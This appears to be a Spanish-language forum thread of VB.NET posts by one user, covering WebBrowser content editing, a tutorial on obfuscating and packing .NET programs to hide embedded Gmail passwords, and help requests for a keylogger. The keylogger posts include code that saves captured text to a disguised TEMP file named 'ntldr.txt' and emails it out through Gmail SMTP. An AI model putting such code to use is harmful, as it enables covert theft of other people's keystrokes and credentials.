Mensajes

Buenas estoy intentando cambiar el contenido del WebBrowser cuando este se carga, he probado con el siguiente code:

Código (vbnet) [Seleccionar] Expandir

Dim s As IO.StreamReader
Dim strcodigo As String
s = New IO.StreamReader(WebBrowser1.DocumentStream)
strcodigo = s.ReadToEnd()
If InStr(strcodigo, "areemplazar") <> 0 Then
strcodigo = strcodigo.Replace("areemplazar", "")
Dim MyStream As New MemoryStream(Encoding.ASCII.GetBytes(strcodigo))
WebBrowser1.DocumentStream = MyStream
End If


Pero me carga la pagina como si no estuviera alojada en el servidor sin las imagenes y tal y el javascript de esa pagina no funciona que es lo que quiero, hay alguna forma de cambiar el contenido sin que esto pase?
Saludos  

POSDATA: He probado tambien con .Document.Body.InnerHtml y con .DocumentText.

Bueno aunque lo compiles a bajo nivel como en C/C++ y lo ofusques sigue siendo vulnerable jaja!!!!!!!!! Si no mira lo que paso con las PS3 por mas cifrado que le pusieron!!!!!!!!!!

Pero les costó sacarla xDDD, si mi manual es para que al menos se molesten en desenpacar el nspack, no que abran el el dis# y lo tengan ahí todo rápido y sencillo, por lo menos un mínimo de seguridad aceptable crea mi método.

Despues para hacerlo más dificil creas strings en todos los forms con nombres como de una sola letra ejemplo

Código (vbnet) [Seleccionar] Expandir

Dim y as string = "partedelapass"
Y despues lo juntas todo

Código (vbnet) [Seleccionar] Expandir

f & g & y
Como está el dotfuscator el que quiera buscar la pass se volverá loco con tanta letra suelta jajajajaja.

Saludos.

pero aún asi no esta seguro jaja!!!!!!!! lo ideal es no poner ninguna clave en el programa

Tampoco he investigado mucho pero estoy seguro que algún buen método tiene que haber, pero nosotros lo desconocemos.

[Tutorial]

Tutorial
-Bueno voi a explicar un método que a muchos os servirá de como hacer nuestras aplicaciones .Net más seguras, partiremos de nuestra aplicación en .Net Framework 2.0 en Vb que tiene el siguiente code:



Como podemos ver es el típico code de envio de email desde nuestra cuenta de gmail. Compilamos el proyecto y prodecemos con el tutorial.

Bien una vez que tenemos esto vamos a utilizar 3 programas:
El Descompilador

Código [Seleccionar] Expandir

Dis#
El Ofuscador

Código [Seleccionar] Expandir

Dotfuscator
El Empaquetador

Código [Seleccionar] Expandir

NsPack

Cláramente habran miles de programas que desempeñen la misma funcion, pero son los que más fáciles he podido conseguir asi que voi a explicar el método que utilizo con estos.
Bueno para ver si nuestra aplicación es vulnerable nos disponemos a abrir el Dis# y abrimos nuestra aplicacion ya compilada, 30 segundos y busqueda y vemos esto:



Claramente pueden ver el email y la contraseña, esto indica que nuestro programa es 100% vulnerable, pero podemos hacer algo para que les sea más dificil, ahora abriremos el DotFuscator y se lo pasaremos a nuestro ejecutable y volvemos a abrir el Dis# y nos encontramos esto:



Asi al menos si es un code largo les costará de encontrar la info, pero realmente hace mas bien poco para lo que queremos nosotros, ahora nos disponedremos a pasarle el nspack haber lo que pasa.



Bueno mucho mejor no? Ya no pueden ver nuestro code, realmente si lo desempaquetan podrán volver a verlo pero esto es mucho mejor que la primera imagen, asi al menos hacemos el trabajo más complicado a quien quiera crackearnos 

Espero que les haya servido este minituto.

Saludos!

Gracias como siempre .:IT:., tus codes me salvan la vida xD
Por cierto como que por http? Podrias explicarme eso?

Saludos.

Es algo sencillo pero que no quire funcionar xD

Código (vbnet) [Seleccionar] Expandir

Try
'Crear archivo
Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
sw.WriteLine(TextBox1.Text)
sw.Flush()
sw.Close()
'Email
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("lala@gmail.com")
MyMailMessage.To.Add("lala@gmail.com")
MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
MyMailMessage.Body = "Abre el archivo adjunto."
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MyMailMessage = Nothing
SMTPServer = Nothing
Catch ex As SmtpException
End Try


A la segunda vez que lo intento guardar me salta la excepción.

El problema creo que está en que lo envio por email y se queda en uso el fichero de texto.

Código (vbnet) [Seleccionar] Expandir

MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo

Código (vbnet) [Seleccionar] Expandir

MyMailMessage = nothing


Saludos y feliz año!

Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez.

Código (vbnet) [Seleccionar] Expandir

MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
MyEscritor.Write(TextBox1.Text)
MyEscritor.Flush()
MyEscritor.Close()
MyEscritor = Nothing

Me tira este error al intentar guardarlo por segunda vez.

Código [Seleccionar] Expandir

IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.

Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!! 

Eso no seria un login? 

A lo de It no te e entendido nada si puedes expresarte  mejor yo lo unico que quiero es una vez dentro de la aplicacion al ir a usarla que tenga que introducir una contrseña. Es decir  para usar una determinada opcion ---> introducir contraseña XD

Con eso me referia es que si te haren tu aplicacion con el salamander por ejemplo te sacan la contraseña en pocos segundos, y el login no te sirve de nada xD, esta dificil lo de poner una contraseña en tu aplicacion sin que te la hackeen

No es más facil hacer esto?

Código (vbnet) [Seleccionar] Expandir


Private function hi() ' Creas la funcion
Msgbox("HI")
End function

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
hi() ' Llamas la funcion
End Sub


Saludos.